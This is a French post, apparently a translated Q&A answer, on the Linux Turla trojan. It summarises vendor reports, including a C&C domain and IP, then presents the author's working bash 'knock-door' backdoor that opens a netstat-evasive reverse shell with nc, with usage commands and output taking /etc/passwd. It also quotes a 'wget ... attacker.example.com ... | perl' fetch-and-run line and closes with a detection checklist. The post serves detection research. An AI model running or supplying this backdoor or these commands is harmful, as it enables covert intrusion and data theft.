Cheval de Troie Turla basé sur Linux

TURLA est la dernière étape d'une grande famille sophistiquée de logiciels malveillants. Il existe des versions Windows connues depuis au moins 2010. Cette présentation de 40 pages est la ressource la plus complète que j'ai vue, pour l'une ou l'autre plate-forme.

TURLA - développement &opérations

Quelques points forts de Windows

Stade 0 :stade d'attaque - vecteur d'infection
Étape 1 :étape de reconnaissance – porte dérobée initiale
Étape 2 : mouvements latéraux
Étape 3 :accès à l'étape établie - TURLA déployé
À chaque étape, ils peuvent abandonner s'ils perdent tout intérêt pour la cible

Étape 0 :vecteurs d'injection

Hameçonnage ciblé (CVE-2013-3346)(CVE-2013-5065)
Points d'eau [Adobe Update social engineering / Java exploits (CVE-2012-1723), Adobe Flash exploits or Internet Explorer 6,7,8 exploits]
Compromis avec un fournisseur tiers

Étape 1 :Étape de reconnaissance

Porte dérobée initiale - WipBot/Epic/TavDig
WipBot est une combinaison d'un exploit zero-day et d'un exploit CVE-2013-3346
Exporte les fonctions avec les mêmes noms que TURLA. Aucune autre similitude
Interrompt le débogage et la plupart des bacs à sable malveillants
Le processus saute plusieurs fois, efface sa propre section PE
Décrit plus en détail dans le rapport de Kaspersky Lab

Étape 2 :Mouvements latéraux

Affiner C&C
Pénétrer davantage le réseau
Utiliser la nouvelle porte dérobée
Obtient les informations d'identification de l'administrateur du domaine

Étape 3 :Turla

Déposé sur certaines machines pour un compromis à long terme
Les machines peuvent être compromises pendant des années sans être détectées

Autres ressources

Le 'Penguin Turla' - Kaspersky Lab (détails spécifiques à Linux)
Rapport Symantec - Turla

Points forts de Linux

Module Turla écrit en C/C++
Basé sur cd00r
L'exécutable est lié statiquement à plusieurs bibliothèques
Ses fonctionnalités incluent les communications réseau cachées, l'exécution arbitraire de commandes à distance et la gestion à distance
Une grande partie de son code est basé sur des sources publiques
Impossible être détecté avec netstat
pas nécessite un accès root

Caractéristiques de l'exécutable Linux

Exécutable LSB 32 bits ELF, Intel 80386, version 1 (SYSV), lié de manière statique, pour GNU/Linux 2.2.5, supprimé

Bibliothèques liées statiquement Linux

glibc2.3.2 - la bibliothèque GNU C
openssl v0.9.6 - une ancienne bibliothèque OpenSSL
libpcap - bibliothèque de capture réseau de tcpdump

Détails du C&C Linux

Le C&C de la première étape est codé en dur. Activité connue @ news-bbc.podzone[.]org
IP pDNS :80.248.65.183

Détails de démarrage/d'exécution de Linux

Le processus nécessite deux paramètres :ID (une valeur numérique utilisée dans le cadre du "paquet magique pour l'authentification") et un nom d'interface réseau existant
Les paramètres peuvent être saisis de deux manières différentes :depuis STDIN, ou depuis le dropper et le lancement de l'échantillon
Une fois l'ID et le nom de l'interface entrés et le processus lancé, le PID du processus de la porte dérobée est renvoyé

Paquet magique Linux

Relie statiquement les bibliothèques PCAP
Obtient un socket brut, applique un filtre, capture des paquets
Recherche un numéro ACK dans l'en-tête TCP ou le deuxième octet du corps du paquet UDP
Si la condition est remplie, l'exécution saute au contenu de la charge utile du paquet et crée un socket normal
La porte dérobée utilise un nouveau socket pour se connecter à l'adresse source des paquets magiques
La porte dérobée signale ses propres PID et IP, attend de recevoir des commandes
Les commandes qui arrivent sont exécutées avec un script "/bin/sh -c "

Remarques finales

Tout ce qui concerne la version Linux provient du rapport Kaspersky. Malheureusement, la détection semble être très difficile à ce stade.

"Bien que l'existence de variantes Linux du framework Turla soit connue, nous n'en avons pas encore vu dans la nature." - Kaspersky Lab

Comment cela fonctionne :

Courte introduction

Afin de trouver un moyen de les détecter, j'ai fortement travaillé autour du concept et des méthodes.

Pour cela, j'ai rapidement écrit un petit script bash fonctionnant à peu près de la même manière.

À partir de là et avec quelques connaissances supplémentaires sur les concepts Un*x, je poste ma liste de contrôle qui pourrait aider à trouver ce cheval de Troie fonctionnel dans n'importe quel système.

Bash réécrit Turla knock-door

Afin de comprendre comment cela fonctionne, j'ai écrit ceci :

(Cela doit être exécuté sur l'hôte cible, par un exploit distant, des virus ou autre.)

#!/bin/bash

myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP        # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d   ${3:-80} # port listen on attacker host

while true;do
    while IFS=': ' read seq loci locp remi remp foo;do
        [ -z "${seq//[0-9]}" ] &&
            [ "$locp" == "$bport" ] &&
            [ "$remp" != "0000" ] &&
            myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
            myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
            chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
            [ "$chksum" == "$myIpSum" ] &&
            nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
    done < /proc/net/tcp
    read -t .5 -n 1
    [ "$REPLY" == "q" ] && exit 0
  done

Ce n'est pas totalement indétectable mais...

Caractéristiques

Totalement indétectable en utilisant netstat , tout en restant à l'écoute des connexions de l'attaquant.
Utilisez [In->Out] comme [RANDOM->80] ports tcp pour que la connexion ressemble à n'importe quel surf connexion.
Attendez une adresse IP spécifique (hachée, donc illisible) sur le port local 22, sans utiliser promiscuité mode ni nécessitant root privilège
Une fois détecté une connexion entrante à partir de l'adresse IP spécifique (Frapper ! ), cela ouvre une connexion à cette IP, sur le port 80 pour ressembler à une connexion surf et offrez un bash , retour sur cette connexion.

Remarque : Véritable cheval de Troie pourrait utiliser SSL et de vrais en-têtes HTTP afin de fonctionner également via un proxy !!

Ceci accepte 4 arguments :

$0 [myIpSum [KnockDoorPort [myPort [-i]]]]

myIpSUm est le hash de l'attaquant salé 'siroter. Peut être rendu en utilisant md5sum <<<SaltMyIP192.168.1.31 (Le sel peut être modifié dans le script).
KnockDoorPort -> bport est n'importe quel port déjà lié, utilisé sur l'hôte cible (22 pour l'exemple si la cible sert SSH, mais n'importe quel port ouvert peut être utilisé)
myPort -> rport est le port de l'attaquant local utilisé pour la connexion entrante (80 pour ressembler à une connexion http sortante. Bien sûr, l'attaquant doit être root sur son hôte !)
-i flag pourrait être utilisé pour exécuter bash interactive

Étape d'infection

La première étape consiste à exécuter ce script en utilisant n'importe quel exploit distant, comme shellshock ou tout buffer-overflow .
Deuxièmement, l'attaquant doit connaître l'IP de la cible, afin d'envoyer un knock door sur le port 22
Utiliser de IP de l'attaquant (en tant que root pour écouter sur le port tcp 80), attendez la connexion entrante de la cible.

Vous êtes logger dans un shell sur cible !

bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
     ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"

Exemple :

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days,  6:19,  1 user,  load average: 0.00, 0.01, 0.00

bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
    ';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
    tar -ztvf -
-rw-r--r-- root/root      1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root       611 2011-11-19 10:00 group

Pas si facile à détecter

Tant que le script continue de s'exécuter sur l'hôte cible et qu'aucune connexion d'attaquant n'est ouverte, le script en cours d'exécution n'est pas visible en utilisant netcat .

Knock sont effectués une fois sur le port 22 où avoir beaucoup d'échecs de connexion est normal . Une vraie connexion shell ressemble à n'importe quelle connexion http sortante.

Réponses :

Comment les machines Linux sont-elles infectées

Ceci est un cheval de Troie , donc cette question n'a pas vraiment d'importance... (voir Shellshock, pour exemple)
Y a-t-il une escalade de privilèges impliquée, ou tout cela ne se passe-t-il que sous l'utilisateur infecté (c'est-à-dire uid 1000)

Non, l'un des objectifs de ceci est de permettre à l'attaquant de rechercher un moyen d'effectuer une élévation de privilèges .
D'où vient le code malveillant "live" sur la machine infectée
1. Partout et nulle part :si vous l'exécutez en tant que pièce jointe, vous saurez peut-être où vous les avez stockés. S'il est exécuté à partir d'un exploit distant, ils pourraient supprimer le binaire une fois exécuté.
2. Si Turla est un binaire (écrit en C), ils ont être stocké quelque part dans votre système Un * x, avec des drapeaux exécutables définis pour être exécutés. Les systèmes de fichiers récents permettent de les supprimer après l'exécution, mais les inodes doivent rester intacts !
  Cela pourrait être révélé lors de la recherche de fichiers binaires qui s'exécutent sur votre système mais se trouvent dans le standard PATH .
3. Si cheval de Troie est un script, seul le binaire doit être lié dans le système de fichiers, donc le script peut être supprimé ou même exécuté en tant que STDIN et pas du tout stocké.
  wget -qO - http://attacker.example.com/virus.pl | perl
plus tout autre détail intéressant

Veuillez essayer mon script bash...

Liste de contrôle (ajoutée :2015-02-04)

Rechercher fourchu pids (où Parent Pid ==1)
```
 grep PPid:\\s1$ /proc/*/status
```

Recherche de processus qui n'exécutent pas de binaire à partir de PATH

 for pid in $(ps axho pid);do
     readlink /proc/$pid/exe |
       sed 's/\/[^\/]*$//'|
       grep -q "^${PATH//:/$\|^}$" ||
         printf "%10d  %-16s  %s\n" $pid "$(
             sed 's/Name:[\t ]*//;q' /proc/$pid/status
           )" "$(
             readlink /proc/$pid/exe
           )"
   done

Rechercher un processus en cours d'exécution depuis longtemps

 ps axho pid,etime,user,cmd

...

 ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2

Script : recherche de processus créant une sorte de masquage :comparez exe et command line

 for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do
     printf "%10d  %-40s  %s\n" $pid "$(
         readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)"
   done

Utilisation de apparmor , vous pouvez surveiller les processus accédant à la pile tcp (et/ou pile udp ).
Utilisation de tcpdump , il y a un travail solide, mais une solution efficace :

Surveillez les sortants connexion qui fait n'importe quel type de demande, devient une réponse pas nécessairement immédiatement après, mais envoyez la requête suivante immédiatement après avoir reçu la première réponse, alors ne vous souciez pas de la réponse de la dernière requête :se terminera lors de la réception de exit directive, en disant quelque chose comme logout. , qui pourrait être piloté comme la dernière requête http de la session en cours , mais fermez avant recevoir une réponse http .

En fait, vous devez trouver une connexion sortante où les échanges de données ne correspondent pas au schéma normal de connexion sortante mais à un schéma hybride de démarrage du serveur - connexion entrante - arrêt du serveur .

Bien sûr, cela doit être piégé car aucune connexion n'est ouverte en permanence.
Faire des statistiques d'appels système (à l'aide d'apparmor)

merci à alphanet pour cette idée

Créez des statistiques pour chaque processus en cours d'exécution et

Soumettez-les à un outil bayésien pour calculer des profils réguliers

Afin d'être alerté lorsqu'un nouveau processus ne correspond pas aux profils réguliers (ou même lorsqu'un processus en cours d'exécution change).